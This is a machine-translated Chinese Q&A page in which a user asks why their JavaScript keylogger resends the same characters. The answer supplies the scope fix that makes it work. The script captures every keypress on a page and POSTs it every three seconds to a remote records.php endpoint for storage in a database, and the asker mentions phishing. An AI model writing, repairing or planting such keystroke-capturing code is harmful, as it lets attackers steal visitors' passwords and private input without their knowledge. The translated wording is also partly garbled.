将修改后的数据发送到服务器(使用计时器)

时间:2014-11-08 15:25:46

标签: javascript

在下面的代码示例中,我想记录并向访问者发送键盘输入(对我而言,这不仅仅是针对网络钓鱼攻击的练习(对我自己的网站来说也没用))

var data = '';
function update_data(udata)
{
    var http = new XMLHttpRequest();
    var param = encodeURI(udata)
    http.open("POST","http://website.com/records.php",true);
    http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    http.send("data="+param);

    var data = '';
}

document.onkeypress = function(evt)
{
   evt = evt || window.event
   data = data + String.fromCharCode(evt.charCode)
}

timer = setInterval('update_data(data)', 3000);

我想收集键盘输入3秒钟(在一个字符串(var数据)中),然后将它们发送到服务器,最后清理字符串并再次收集。 在records.php中,输入存储在数据库中。

我的问题是数据变量在函数update_data的末尾没有将值更改为空字符串。因此,如果用户输入了' a'它会发送' a'每三秒钟到服务器。

1 个答案:

答案 0 :(得分:0)

您应该参考全球 data变量,而不是本地变量。

所以而不是:

    function update_data(udata)
    {
        ...
        var data = '';
    }

写:

    function update_data(udata)
    {
        ...
        data = '';
    }

此问题与 范围 有关,请在此处详细了解:Variable Scope (JavaScript)